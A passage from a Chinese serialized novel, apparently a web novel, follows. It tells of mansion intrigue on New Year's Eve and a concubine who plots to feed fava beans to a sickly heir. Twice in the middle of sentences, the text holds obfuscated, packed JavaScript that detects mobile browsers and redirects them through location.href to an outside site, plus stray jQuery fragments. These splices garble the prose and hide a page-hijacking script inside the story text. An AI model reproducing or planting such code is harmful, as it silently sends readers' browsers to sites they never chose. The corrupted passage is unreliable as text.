陈放也不大好意思,斯文地将声音低了一低:“我也去搭把手罢。” 周太太望着两人,顺带捏住程筝肩膀,声音低了一低:“老爷叫你上楼去,有话说,何师父和那位苏联医生都在。” 刺骨如针的风吹刮在人的面上,教人觉得很不爽快,程筝向周太太道一句:“……但愿是甚么好事情罢。” 天寒地冻,公馆里的老妈子隔几个小时便要向热水汀里添煤,炭火味道的炽风挤散了鼻腔里那点凉气,窜进脑子里反倒叫人昏沉起来,程筝踏上扶梯,见周五爷屋子里头是人满为患,各个角落都站了人。 因着明日除夕,一家人聚齐在周公馆里,周怀良旁边立着金色头发的苏联医生,周峥盖着一床厚褥子,床边最近的是何师父,周怀鹤与方秋水站得要稍远一些。 甫一踏进屋里,周怀鹤便抬眼瞧过来,神色稀松平常,二人对上个视线,便匆匆敛下眼。 未及靠近床榻,她便被周峥捉住手肘,周峥拽着她向何师父道:“明明事事都按着何师父说的做了,为何我迟迟不好!还要做什么才有用,要娶进门你又说要等一年!我等不起了!” 周怀良拧住眉:“我同父亲说过多遍,戒了烟身体才会好。” 倏尔,他冷眼扫去方秋水那处:“谁知道还有人赶着往你嘴巴里面塞烟枪。” 方秋水艳艳笑起来,很纳闷似的,装着不懂:“是我见父亲太难受了些,故而那样做了。” 他又说:“大哥,我是很支持爸爸戒烟的,医生恰才的话我听懂了,要打针,我亦深以为然。” 可周怀良却不很认同了:“我会另找个国内的医生再来。” 程筝明白他顾忌什么,这个年代戒烟都是通过注射更成瘾的药物,以大毒攻小毒罢了,方秋水那模样明显是有意害人。 周峥还捉着她的臂膊不松开,程筝看向何师父,他慢慢挑过来一眼,思忖片刻后说道:“周五爷别要太急,您觉着身子亏空,许是这股气转到别处去了。” “比如,周家的生意上。”何师父说。 屋子里静悄悄,周峥层叠的袍衫一身的皱纹,同他伸出的皮包骨的手臂连到一齐去了,皮上也是细细的皱纹,在颤颤地抖——周峥缓缓放松了力气。于是程筝心中猜度何师父说对了。 她半笑不笑地鞭回胳膊,道:“既然是生意的鸿运夺了老爷的康运,那不如将生意交出部分给几位少爷?” 这是人人心中所想,方秋水摩挲着西装上一排纽子,手指揣进口袋转起怀表来,唇角向上挑动些许弧度,觉得好有趣。 几人的目光带着各式各样的探量,全落在了程筝身上,周怀鹤稍一眯了眼,视线在她浮动的浅淡笑意上梭巡。 少顷,她面向何师父,询问道:“何师父觉得有道理么?” 何师父望她一望,不消沉吟过久便道:“是个法子,要我出主意的话,觉着——” 三个姓周的年青人一齐望过来,程筝静静等着从他嘴里能冒出哪个人名来,视线又往周怀鹤身上放了放,见他微眯着眼笑着。 何师父静静地吐出字来:“鹤少爷最为合适。” 名姓一出,方秋水缓缓垂下睫毛,丢掉了手里把玩的怀表。 程筝心说,这何师父果然是周怀鹤的人么?本意只是试一下何师父是站这三兄弟之中哪个的,如今想来何师父一当初帮她在周峥面前扯谎也是听的周怀鹤的安排。 这样说来,大有可能就是他不忍周怀鹤枉死,给他续了命! 她心中正盘算着自己的心思,何师父看出周峥面上的古怪,解释起来:“鹤少爷是身弱之人,这生意的运气只有转到他身上,才不会同老爷争锋。” 周峥冷笑:“这话倒不作假,怀鹤是我的儿子里最没福气也最窝囊的一个。” 即便被如此说了,周怀鹤也并不恼,反而幽幽慢慢地笑,却又不好笑得太明白,佯装细细弱弱的咳嗽,手握成拳抵在唇峰上,温驯道:“给爸爸丢了脸了。” 程筝献一番诚意:“我也觉着鹤少爷少经历练,是该出去试试。” 周峥见周怀鹤这副乖驯模样,反而更信了几分他是个窝囊的,于是毫不在意道:“那些人春节都告假回乡了,年后,将货船的生意过给怀鹤。” 紧接着,看向脸颊失形又百无聊赖的方秋水:“秋水去办好。” 方秋水慢慢地笑:“晓得了。” 周怀良似乎对是谁管理周家的生意并不显出许多兴趣来,单只留下那位苏联的医生管制好周公馆里的烟土,坚执地说过几日再寻个有阅历的医生上门来,就算是关他一月也要将那东西戒掉。于是这场多人的闹剧最后还是以听从何师父的“道”为结尾,收束了。 方秋水没心思搭理,脸上一副“爱戒就戒”的松垮表情,呵笑一声便出了主卧的门,立在走廊里,目光向下一落,迁移到正一前一后下楼的程筝与何师父身上,见二人并行耳语,他看了一会儿,旋身拉开一间房门。 “何师父是帮衬着鹤少爷的么?”程筝将声音低了一低,只有何师父听得见。 他缓声答:“过虑了,我只是听天时、算人命,算出来的,如果真说帮了谁,我帮的不是程小姐么?” 程筝一顿,反问:“分明是叫周怀鹤得了利,怎么会是帮我?” “可程小姐不也觉着这件好事该让鹤少爷占去么?”何师父精锐地说。 那是因为她与周怀鹤有香港时候的约定,况且当时正主便在她面前站着,她好去偏袒别人么? 再者说,分给另两个人,她更是占不到一点好处。 楼梯快要下尽了,何师父问她道:“看样子你还有话想要问我。” 程筝犹豫须臾,向他问:“何师父既然神通广大,我先前听说过一种秘法,有给将死之人延年益寿的效果,不知何师父知道不知道。” 她的目光紧紧跟着面前人脸上的每一道小山似的皱褶,想要瞧出些什么来。 “程小姐何必带着答案来问原因。”何师父好像是回答了,又好像没有回答,只向她说:“你身上有股燃香的味道,我很熟悉。” 她不言语了,定定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384567|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧着他,腹腔里像生吃进一只长了口器的虫子一般,那虫子慢慢地咬着她。 能是哪里的燃香味,只能是回香炉里那半柱香的味道,而之所以熟悉,无非是因为那回香炉本就是何师父所至! 难怪头回见面时他言语古怪,咬定她有自己的解决方法,恐怕那时就嗅出来了她身上的所谓燃香味! “何师父鼻子真灵,应该是玩炮仗时不小心沾上的,不是要春节了么?”程筝笑笑,仍旧佯装听不懂。 何师父转回眼,说:“记得上次我来,为鹤少爷算了一卦,算出五姨太要病死在香港,如今我送程小姐一卦罢。” “愿闻其详?” “您的亲人时间似乎也不大多了。” 言罢,何师父提一下灰蓝色的长衫,踏下最后一节台阶。 身边一派将要迎春的喜气洋洋氛围,火红的炮仗一捆又一捆地往公馆里搬,堆放在那些黄金树棕黑的枝桠下,人人口中道着贺喜的话,程筝却在这重喜庆红火的日子里全然地惶恐住了。 “何师父!”程筝最后叫住他, “您觉着什么样的人值得您去用这样的秘法?” 帮工们都聚到后院摆炮仗去了,大堂里空无一人,何师父身形顿了顿,静了片刻,用沙沙的喉咙道:“身弱福薄到再没有下辈子的人,这才是所谓‘续命’的意义。” 他回头向她张了一眼,苍老的面容上镇定万分,说:“于我而言,鹤少爷是不该死的人。” 程筝的心猛地一坠,脑膜上犹如钢针剜过,痛了起来。 仿佛身体每一道青色的血管里头都塞住了细小的石砾,叫她觉着自己愈来愈沉,那热水汀的火也烧灼着她,她像是将要融化在这截楼梯上,也不知自己站了多久,直到一道清凉的声音唤醒她: “程小姐。” 正当她捏紧五指时,周怀鹤忽地从身后喊了她一声,楼上所有房间的门都闭住了,只留他一人瘦长的影子,折了号好几折地从楼上映至程筝脚边。 他像是为她恰才在周峥屋子里的提议而高兴着,也许周怀鹤完全将自己判断为他一条战线的蚂蚱了。 “芸芸她们去给家里寄信了,你不想去寄一封么?”周怀鹤嗓音愉快许多,因为周峥终于下放了一些生意到他手里。 此时此刻,二人心境全然不同,周怀鹤下来几步,掠过她身侧,淡淡的药苦味,讲话时的吐息也是苦气:“这下你又可以向我讨个人情?” 程筝心思全然不在他的话里,发了许久的怔,周怀鹤从上向下睇她一眼,刚要再问一遍,见程筝忽然静静地抬头道:“何师父是你的人么?” 二人视线一高一地地织在一起,周怀鹤略一皱眉:“你语气不好听。” 这怪不得程筝,她实在心里头方寸大乱,何师父的意思是只要她敢陷害,他势必会救人,而且周怀鹤是他口中那“身弱福薄”的人。 也就是说……程筝异常艰难地判定,眼前这个人死后就没有转世的下辈子了。 “我只是奇怪,何师父也在帮你。”她弱声弱气地说道。 话中的“也”字叫周怀鹤心间又愉快一些,他说:“我不知他是谁的人,是某一日自己上门来找父亲投名的。” 听闻此言,她心中另有心思,“我知道了。” 周怀鹤愈发察觉她的古怪,“现在我们手中有可以运货的货船了,日后将生产品运往香港也容易,这样好的一步棋,你在不高兴甚么?” “鹤少爷多虑了,只是刚刚老爷将我捉疼了,心里生了些火气,冲撞了你实非我本意。”程筝说。 周怀鹤打量着她的手腕,慢慢地道:“原来你还有些娇气的。” 程筝实在心烦意乱,转身又向上走:“女孩子都有些娇气的,鹤少爷不懂罢了,恰才动了太多脑筋,我想要回房间休憩了,给家中的信便也不寄了罢,他们也使不得字,还要去找村里的先生,麻烦。” 他无声在台阶上立了一会儿,垂下眼不知琢磨着甚么,随即寻去后花园找王发。 而程筝上了楼,拉开自己房间的门,却见鹅黄色床帘后头显出一道影子来,交搭着两条修长的腿,手里摔弄着一块铜色怀表。 方秋水笑望她:“等六姨太许久。” 23.第 23 章 “我怎好有本事惹二少爷的眼。” 一面说着,程筝一面将门把住,闭住了,她的屋子里便全然地静了下来。 窗子外头挂着一滴月亮,圆的眼泪似的,往上了绿漆的方形窗棱上投下些切割的影子,方秋水翘着的英式包头皮鞋便刺啦一声碾在那亮堂的方块上,扎好的床帘匿去他半片身形,他坐在那红木百宝橱的一头老爷椅上,把着两边的扶手,道:“你还没有本事么?” 她只管靠在门板上,静静端相那黄色纱帘后头的影子,一个字也没有说,只听得方秋水细数起来:“教芸芸英文、往公馆里领教书先生,如今还说得我父亲将货船生意交给老三,是再厉害也没有了,不是么?” “二少爷是因为货船生意的事被鹤少爷抢了而不满么?那合该去找鹤少爷说。” “老三说给你什么好处,叫你偏心于他?” “这话是空穴来风了罢?”程筝稳稳接住他的话,“你们三兄弟之间我总得说出个名字来,假使我恰才念的是二少爷的名字,现在在我房间里的是不是就该是良少爷和鹤少爷了?这好人我委实好难做,帮谁都惹另外的人嫌。” 方秋水慢慢地瞧着她,可两边的目光都被中间横亘的红木床遮去,他便只能瞧见她那青色棉袍下头窄窄的裤胯,圈住脚踝,滚着一圈花瓣似的边。 他支着头闲闲地盯了一会儿,对这种旧式的女人装扮显出漠然的不喜,就如同他不喜他那个同样属于“旧式社会”的母亲一样。 再开口时,他的声口缺了些兴致,稍显懒散,份量却不轻:“若我想要你来帮我呢?老三开的什么条件,我做不到么?” 程筝慢慢挪步过来,从那道黄色帘子后头出来了,将青色的棉袍摘了挂起,里头是件水蓝色羊毛衫,她坐到方秋水旁边倒茶喝,低着长长的眼睫毛说:“你想要我帮你什么呢?” 饮一口茶,她晶莹的眼睛扬起来看向他:“伙同你叫周五爷吃烟吃死么?” 这短短的一句话叫方秋水乐不可支起来,他低低哑笑几声,便又觉得她果真是个聪明人。 “这于你而言不好么?他死了你就自由了,还可以给你一大笔钱叫你回家陪伴父母。”方秋水上下眼睑一碰,“不过你的父母是不是真的东北佃户倒不好说了。” 程筝佯装疑惑:“二少爷何出此言?” “我是不信一个在乡下待了十多年的女子会写一手漂亮的英文,还能教会芸芸读出来,六姨太究竟是不是那个乡下来的‘程筝’,除了王利民以外,谁又知道呢?” “二少爷只管将我父母找来辨认便是,难道中间还能演一出太子换狸猫么?” 方秋水端睨着她,对她的身世不大感兴趣,慢慢挑着笑意道:“我不管你曾经是谁的人,也不论是不是你和何师父说好了作今天那出戏,我只消知道今后你会是我的人就行,我谈生意挖人时向来不问来处,叫用人不疑。” 程筝好奇道:“秋水少爷说给我一大笔钱回家陪伴父母,是多大一笔呢?” 他斜签在椅子上靠着,上眼皮向下一垂,仍一副笑脸:“嗯……随便你。” “我向你要整个周家的财产也可以么?” “ 当然可以。”方秋水闲闲道。 “那我有什么理由不答应呢。”程筝应下得有些猝不及防,叫他多探量了数眼。 她弯眼笑着,垂眼时唇角又平了些,方秋水摸不透她的真实意思。 “二少爷都将整个周家给我了,我当然却之不恭。” 其实程筝没有什么意思,她就只是个活泥鳅,答应了倒不定真的去做,只是当时答应了而已。 只是程筝很好奇,方秋水连钱也不要,就只是单单地恨着整个周家么? 总之,管他要做什么,方秋水这人是个不定时的炸弹,心思颇多,顶不好对付,既然现在有知晓他盘算的机会,程筝有什么理由拒绝呢?她又不真是谁的兵,四处游离,只为自己的目的作打算罢了。 方秋水淡淡地望着她面上的表情,不知有没有看出她心底一些坏水来,他似乎总是那副仿佛小刀划出来的上挑的眼角和嘴角,使人觉着他在笑,实际上他却没那样多的笑意。 二人谈洽了,方秋水趁仆人都在后花园里给家人写信时拉开房门悠然走了出去,只说道了一句:“我平日外出谈事,不常在家,平时家里有什么事还烦请六姨太写个纸条给我,我知道你识字。” 程筝把住屋门,温温笑着:“好呢。” 两个字叫方秋水怔忡瞬时。 她这满在脸上的疲惫的笑意使他觉出些滑腻来,他回忆起六姨太刚进屋门时萦绕在她莹白面容上的沉郁之气,后知后觉她只是在后续与他的周旋中强征出些精神起来罢了。 看来今日她也很是费心思,玲珑八面的,仿佛对每个人都有不同的折射。 恰恰好,他喜欢同不简单的人交流,有如他小时候喜欢拼凑最细碎的零件,将一根根电线黏在焊板上,理好复杂的电线,看那最后的小灯泡亮起漂亮的光。他向来喜欢一切新派的、流行的谜语似的事物,对一切旧社会的鬼影抱批驳态度。 程筝对他来说恰恰是个“新”人。 方秋水这回是真的笑了笑,那点生趣的笑意极淡地浮在眼底,他不很温柔地道:“早些休息。” 方形窗子那滴月亮的泪往下掉了掉,房顶昏昧的电灯映亮她一点鼻尖,门吱呀一声合上了,方秋水摸着自己蹭掉了漆的怀表,面上慢慢失去表情。 屋子里静了下来,外头却闹腾,楼下后花园喧着嚷着,芸芸今日学文有所成果,抄下一些词句来,又怕家里人看不懂,院子里那些老妈子也和她一样到处喊王发,芸芸瞥见王发提着一叠空白的红色春联,仰着头定定往公馆楼里看。 芸芸喊了他一声,问他一直站在那里作甚,王发面容怪异,眼神有如那短了电的灯泡,一闪一不闪,慌里慌张错过她的肩膀向桌子那处走去。 她心里直犯嘀咕,顺着向上张望一眼。 三楼里,程筝屋子里的电灯亮着,能看出些许人影来。 一年一次春节,她们这些做工的也没法子离开,要伺候公馆里的少爷太太们,只好往家里写封信,邮差将信件送到老家父母手里,再找村里识文断字的先生念上一念,信封里偶尔也会包一两张纸钞,讨个喜庆。 周公馆里请了陈先生教书以后,大家慢慢能够写上两个字,可写文章对大家来说还是很难,都要托王发去写,夜极深了,在那瓦片矮房子里头点一根油蜡烛,一排人排着队地念给王发听,可那天王发心思很歪的样子,总是写错,一直熬到天亮,一群人作鸟兽散,棉衣一宿没解开过,冷水冲一把脸便施施然移到公馆里做事情去了。 周太太宴请了好些人来,各家琳琅的太太将一年买的金珠细软都佩在身上吃席,吃完早席摸牌摸到晌午,便寻个由头说要去娘家吃,不好推了自家人的情,于是一群人散去,再迎来新的一群,周公馆里许久没有这样热闹过。 人人都有得忙,“怀胜”也无人看顾,这条白博美犬撒着腿在院子里头奔来奔去,被周怀良弯腰捉住后颈提了进去。 周怀良在团团人影中望去一眼,捉住芸芸问:“程小姐没有下楼吃茶么?” 芸芸道:“她说身份不便,不好叫人嚼舌头,便不下来了,没客人了再说。” 周峥要应客,没法子躺在床上,昨日又同周怀良争执不下,周怀良专派了两个马弁监督着他,老爷子垮着一张方脸,吸了茶叶进喉咙,又大动肝火地吐出来,用力将杯子摔在天然几上,几家太太都阴恻恻向周太太问,她只淡淡地吐掉瓜子壳,道:“他要死了罢。” 对方吸一口凉气,不问了。 及至除夕夜,所有的客人这下都得回自己家吃除夕饭了,老妈子们打扫干净一地狼藉,周太太是宁波人,爱听绍兴戏,请了寓居天津的一个女子绍剧班去花园里演戏,唱的是《倪凤扇茶》,小孩子们守岁,不让睡,芸芸隔一个点就晃玉玲一次,说她还是小孩子,等着大家一齐放爆竹。 玉玲侧头看看芸芸,面无表情地抬了抬另侧肩膀,向芸芸说:“你瞧这个人。” 芸芸绕过去看一眼,“嗳呀”叫了一声,将倒在玉玲肩膀上困着的程筝给晃起来:“你怎地还吹着冷风睡着了!” 她埋怨地说:“玉玲还是长个子的小孩子,不好这样压她。” 程筝支棱起眼皮,被芸芸晃醒以后只好自顾自缩着脖子叹气,她都多少年没守过岁了,她那里过年连炮竹都不让放,有什么习俗都快记不得了。 迷瞪着看着冬季的夜,她惶惶然想起何师父的话,冬天尽了以后,要买些蚕豆回来,怎么不动声色塞进周怀鹤的口中还成问题;如果何师父届时施救,如何阻止又是问题;万一周怀鹤真的因她这点蚕豆丧命呢……左右她还有符,兴许还能回一口气罢? 先害人,再救人……难得她脑子里要开出花来。 程筝看见了坐在门口台阶上的周怀鹤。一面是被吞了寿数的姥姥,一面是个身弱福薄到没有转世的人…… 念头浮上心头时,周太太走了过来,周怀良跟在她后头,那只狗绕着二人团团转。 太太问她:“杨妈今早去邮局将信都寄掉了,单没看见你的。” 程筝想了想,道:“无甚好写的,寄一封空信不是白费工夫么。” “虽说你是被父母卖过来的,可也不见得他们便不记挂着你,要与家里断得这样干净么?”周太太叹息。 程筝说:“若他们记着我,会先给我来信的,太太,我是个没信心的,需要人家主动。” 周怀良听着,眼睫被风吹得动了动。 有老妈子将太太叫过去,周怀良却没跟去了,向下瞧着她的斗篷,语气无甚情绪:“我叫张妈给你买的那件衣裳呢?” 她费解:“收进柜子里去了。” “我道你是不喜欢。”周怀良仍旧端腔。 程筝扯一张笑皮:“那道没有,新年穿新衣罢了,今日这件我还没有穿过。” 周怀良启了双唇,末了一蹙眉,只剩一个闷顿的“嗯”字,随后他被周太太叫过去搬炮仗去了。 能使力气活的男人都被喊过去做事,男下人们将炮竹甩到乌油铁门外头去,只周怀鹤一人坐在前院台阶上,兴许是大家觉得他病体在身,不好使什么力气。 周怀鹤仍旧围着她见过的灰色围巾,隽白的棉衣外头是一件黑色马褂,乌色的发在寒气中安静地漂浮。 程筝望他一望,用指甲在掌心掐出个月牙似的弯,静默一会儿,离开玉玲她们踱步过去,拍拍裤腿后在周怀鹤边上坐下。 “一个人坐这里不冷么?”她开口便呵出一阵白色雾气。 周怀鹤看她一眼,静静说道:“因着昨日的事,几个人正看我不爽快,何必去招人口舌,大家彼此眼不见心不烦。” 程筝没有说话,从口袋里掏出一把糖瓜子来伸给他吃——她的口袋完全变作零食袋子了。 周怀鹤定定看着她掌心,有些嫌弃那上头的腻味似的,程筝见他不识趣,一撇嘴:“不吃算了。” 正要收回,他移目过来,伸指头将她刚合上的五指掰了开,程筝觉着他指尖冻得像冰,差点冻得一激灵。 两人挨着肩膀嗑瓜子,嗅到空气里那些中药味道时,程筝心中便又是五味杂陈。 “你不给秦三小姐打去电话拜年么?” “拜过了。” “哦。”程筝嚼着瓜子,“有可以拜年的人真好呀。” 周怀鹤只将瓜子用手指捏开,他顶不爱吃这种,只是无聊掰着玩儿,捏开了就重新放回她掌心里,程筝一咬一个开了口的,不由得作古怪相。 他说:“我昨日说过要你去写信,你自己不去罢了,老家又不是没有亲人可以通信。” 程筝静了,垂下眼,周怀鹤便也止住动作斜看向她,见她失着神蠕动嘴唇:“我当然也想念他们。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400988|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想念姥姥姥爷,只是现在时间不到,事情也没有做成,她甚至还在这里两难着不知道该不该狠心去办,回也回不去,不知道姥姥究竟是个什么情况。 掌心被她掐出的月牙指痕仿佛又隐隐作痛起来,不知为何,脑袋也兀地痛起来,程筝“嘶”了一声,瓜子差点从手指里溜出去,迷蒙地听见周怀鹤的嗓音。 “那为何不写信?你又不像我一样。” “我与鹤少爷哪里不同呢?”程筝摇了摇脑袋,不知哪里来的后遗症,她静静地说,“乡下的父母就一定想念我吗?鹤少爷不也同我一样么?有一些眷恋,也有一些怨恨,可是末了,我们到底一个字也不会说。” 火星子点起来了,铁门外下人们都往回跑,爆竹“卜卜”地炸起来,红色碎片便如被劲风打散的花瓣似的飘起一片,浑浊的烟雾也飘起来了,噼啪声震耳欲聋地埋住人的耳朵,将才那点刺人的不适感便顷刻间褪去了,程筝慢慢抿紧唇,心说也许是回香炉警告她那半炷香已经燃过半了。 周怀鹤眯着眼,因着她那句话觉得恍然,手里明明没拿捏开的瓜子,也用指尖戳弄了她的掌心,觉出一些温热来。他看着燃着的爆竹,轻轻地说:“是啊,都一样的。” 这公馆里居然只有这个人和他是一样的。周怀鹤觉着自己是个顶无趣的人,平日不交好友,单喝喝茶看看书,冷淡地待着别人,只在偶尔需要的时候扮扮温柔样子,好叫别人觉出些他的好来。 其实也没人期待过他能做出什么惊天动地的事情来,渐渐的,他好似溺在这周公馆的温柔乡里,自己也不期待自己了。 “新年快乐,又大一岁!”程筝笑盈盈地这样说。 两人并肩坐在冰凉的台阶上时,她身上的温度以及喷洒的香水的味道都从挨蹭的臂膊传递给他,周怀鹤觉着风刮在脸上也不似寒刀了。 他慢慢低下眼,再慢慢抬起来,盯着铁门旁边那盏英式路灯。 “嗯,新年快乐。” “还有个东西。”烟雾四处弥漫时,程筝将一个冰凉的坠子塞进他手心,“周太太说这是五姨太的遗物,我先前不知才向你要,鹤少爷还是收好罢。” “我不好欠你东西。”否则做决断时又不好狠心了。 周怀鹤捏了捏那翡翠,刚上升起来的好心情兀地散去,他只看一眼便将东西掷回她膝盖上,“你我之间欠的又何止这些东西?没必要算来算去算个门儿清了,说了送你便送你了,断没有再收回来的道理。” 他蹙着眉,门口炮竹炸开的烟雾都涌进人脸上去,像一张大口吞没了二人,尘烟的味道在口鼻之间弥散,周怀鹤半截脸捂在灰色围巾下面,像是又闷着了,不高兴着:“我大哥给你做的衣裳你收得,我送你一件首饰你收不得,看不起我么?” 炮竹放完了,一行人喜笑颜开拍起巴掌来,那烟雾散尽以后,周怀鹤消失了,仿佛心有不快起来。 程筝满脸莫名地将那翡翠收回去,心想,竟还有上赶着给她占便宜的。 揣着那块剔透冰凉的翡翠,她怔怔咬瓜子,这次咬住的是个剥好的瓜子仁。 她捏合掌心,叹一口气,有些不那么高兴吃下去了。 这边程筝尚且坐在台阶上慢慢想着事,周怀鹤已经唇角向下吊着踩上楼去,打开书柜抽了本书出来看着静心,那些字一个一个排着队向他眼睛里跳,他一个也没读进去,扬起脑袋看天花板,又闭住眼睛捏眉心。 不过多久,周怀鹤沉一口气,抽了纸笔出来,低阖着眼眸静坐了一会儿,慢慢地用左手写起字来。 再过了一刻钟的工夫,王发终于得闲,上楼里来寻他,整个人刚干完一流水的工活,正粗粗喘着气。窗户还开着条缝隙,周怀鹤顶着张冷苦的脸,手边的药碗药渣都沉底了,凉透了,他只管在那里安安静静写东西,很用心思的样子,写几个字还要想上一会子。 王发一脸顿挫,将那窗户合好,看了看,又将帘子拉上,周怀鹤一顿,蹙眉怪道:“你又作甚?” 王发说:“鹤少爷,我总觉着程小姐同我们不是一心。” 他手中的东西似乎写好了,周怀鹤将信纸朝牛皮信封里头塞,细细黏好封口:“你怎地比我还疑心,明明昨日她才帮了我的忙。” “可是昨儿个晚上我瞧见程小姐屋子里有人!二人坐在窗前的桌子上谈了许久许久,那影子我瞧着像二少爷!”王发的声口又硬又低。 顿了顿,周怀鹤复又将信封的口捏紧了。 他抿着发白的唇不说话,王发撑桌滑到他对面坐着:“少爷,人的约定又不像法律一样,违背了还要找警察来要说法,她今日能够因为一些钱说是你的人,明日别个许给她利益,也许她又能说是别人的人呢?公司已经归了一部分到她手里了,说到底,程小姐有什么理由一定要真的帮我们呢?我觉着您这步计划得不好!” “你有一点说得很对。”周怀鹤烧着火漆章子,说,“我们能用什么捆住她呢。” 王发看看他的模样,紧皱眉头:“嗳呀——总之后面的事您再想想罢!” 爆竹放完后,楼下的人声都散尽了,周怀鹤用火漆蜡烛封了口,眼睫动了几下,他捏了那信封好一会儿,仍旧推到王发跟前,吩咐:“明天寄出。” 王发瞧了一眼信封上的人名地址,恨铁不成钢一般:“少爷!你这……被灌甚么迷魂汤进肚子里了么!” 周怀鹤不大耐烦,闭眼撑住太阳穴:“叫你去便去,我自有我的打算。” “少爷读的书多,脑子比我灵光,希望您是甚么好打算罢!” 郁闷挂在王发的脸上,他叽叽咕咕地领了信封走出门。 人走后,玻璃窗户松垮颤动着,传出细细的响,上头冷得结了片片霜花。周怀鹤偏着头盯着那霜花看,走了许久的神,觉着与那天带她去孙家时车窗上凝成的霜花一般无二。 再想到王发的话,周怀鹤极慢地捏紧五指,尚能嗅到一些指尖残留的糖瓜子的甜味。 24.第 24 章 灰色的石子路上飘着一层爆竹留下的粉红纸屑,冬晨的银雾在衖堂里飘升上来,城市在下人们浅浅的扫帚声中苏醒。 年后不久开始复工,城里的铺子都张了起来,天是极淡的蟹壳青,飘着一层厚羊毛似的云,周怀鹤顺利接手了海河码头的所有货船,暗中还在张罗钢铁厂的事情。 这事很不好办,三月份时日本已在鞍山将三号高炉点了火,进口了美国人的机器,如今周怀鹤能够趁便用周家的货船运他们自己的货,可那些熔铁的机器都尚且还在货船上飘着,未到东北。 程筝知晓这事以后,心里担心过不久铁路便要被日本人截获,于是向周怀鹤提醒速度须得快上一些,可是周怀鹤却少与她讲话了。 他手上有了新事情做,开始频繁出门盯船签单,程筝心里是奇怪的,可又不知该出于什么由头去问他,便就算了,权当没觉察到这回事。 早晨穿衣裳扣纽子时,她从阳台向下瞄了一眼,天气渐渐地回暖了,花与树便都繁茂起来,程筝计划去东南角的市场再走一趟,这回没有跑空。 手里抓着一把青色湿润的新鲜蚕豆,她定定看了许久,及至离开东南角时,外套已然鼓起少许,回到周公馆怕别人瞧见古怪,便掖着藏着一径跑上三楼房间去,瞧着那一小袋子蚕豆犯了许久的难。 周怀鹤有遗传病,食用后会发生溶血反应,只是不知道症状轻重。然而她的时间属实不多,虽说程筝几乎觉得就是何师父了,可是到底没有办法咬死就是他,事情不百分百得到确认的话程筝不能够安心,毕竟这事情是万万出不得纰漏的。 垂眸盯着那点新鲜的蚕豆,程筝心想,这次她必须要将事情做成。 刚歇脚不多久,周太太便将她一齐喊出门,说是有哪家的太太请客,无人能够陪着她去,便扯着程筝一道出了门。 慌里慌张将买来的蚕豆锁进柜子里后,临出门前程筝倒是又想起件事。 她前不久应了方秋水的条件,还须得每日替他记录着公馆里的事情送去那人房间。方秋水许是觉得她眼灵手灵,能够替他探听来很多消息,估摸着还存着利用她得来周怀鹤动作的心思,可程筝倒没有这样的想法。 她对周家的钱丝毫不感兴趣,毕竟她不过只会在这里待很短的日子,回到自己的时间线以后还是打工人的命,这处的钱她半个也带不走。 想到这里便有股捶胸顿足的郁结之气漫上心头,觉得好是可惜! 将薄薄的纸页从门缝里塞去以后,程筝便匆匆下楼跟着周太太一齐上了汽车,街上倒喧闹不少,复苏的景象。前两年意大利电灯房给各大商号装了霓虹彩色的灯光广告,一条街都闪着灿灿的烁光,周太太一面向她展示藕色手腕上的金刚石手镯,一面叮嘱她多去接触些人,得有自己用得上的关系才好。 比较起外头的闹,周公馆里就显得愈发静悄起来了。因着周怀良早就离开了周公馆上前线去了,不知几时回来,还派下了两个马弁专门在家盯着周峥,周五爷对此很是动肝火,也不愿在屋里待了,整日整日接着见客的由头出门,可那两个马弁仍旧随着他,叫周五爷走到哪里都像浑身拴着链条,遭自己儿子困住了。 方秋水亦正为此事心烦,周怀良看老爷子看得这样紧,他连一点话头都插不进去,难道就这样叫周峥将烟戒掉?他不能够甘心,连带着好些日子脸上挂着阴色,心里对周怀良生出许多些怨意,想着势必要将这根刺拔走才好。 老妈子说周太太新近定了一批衣裳,净是些长衫,是他最看不上的那种,方秋水面上笑着收下,转头便扔进篓子里扔弃了。 傍晚,他做完事回公馆里头来,娴熟地弯腰捡起掉在地面上的纸片,方秋水挂好衣服坐在凳子上,闲闲用手指掀开,碾平了褶子查看,一贯秀丽的小楷字迹,只是上头仅仅几行字: “今日事:怀胜在王发一双旧皮鞋上小便,被王发剃了屁股毛;周太太做坏了头发在屋子里头戴帽子;周五爷无事,看报睡觉。” 他睨眼扫过,表情瞧不出是嘲讽还是真觉着好笑。 屉子里头还有近来所有递给他的字条,张张都是“周五爷无事,看报睡觉”,其余的便净写了些芝麻绿豆小事:谁的衣服炸口子了、院子里的花长出来了、怀胜被罚不许吃饭了云云。 他点着台灯,视线暗暗在字条上凝了一凝。答应得快,原来是想着这样子糊弄他,这买卖可不是这么谈的罢?一面觉着自己着了她一道,方秋水一面将唇启开一条缝冷呵出声。 电灯扫出一片浅色的光,雪纱一般盖在他的手背上,他想起那日她顿足在片片暮光下,垂着眼皮向自己说“真心换真心”时的模样,那时说得倒铿锵,可他如今实在看不出这人究竟哪里有心。 前几日方秋水专托人去找了王利民,花了些银票询问程筝的事,王利民咬定人是从父母手里一直到周公馆的,完全没离开过他的视线。 程家算是那批农民里最憨的了,住的村子方圆十里找不出一个教书先生,更别提会说英文的西崽。 那就奇怪了。 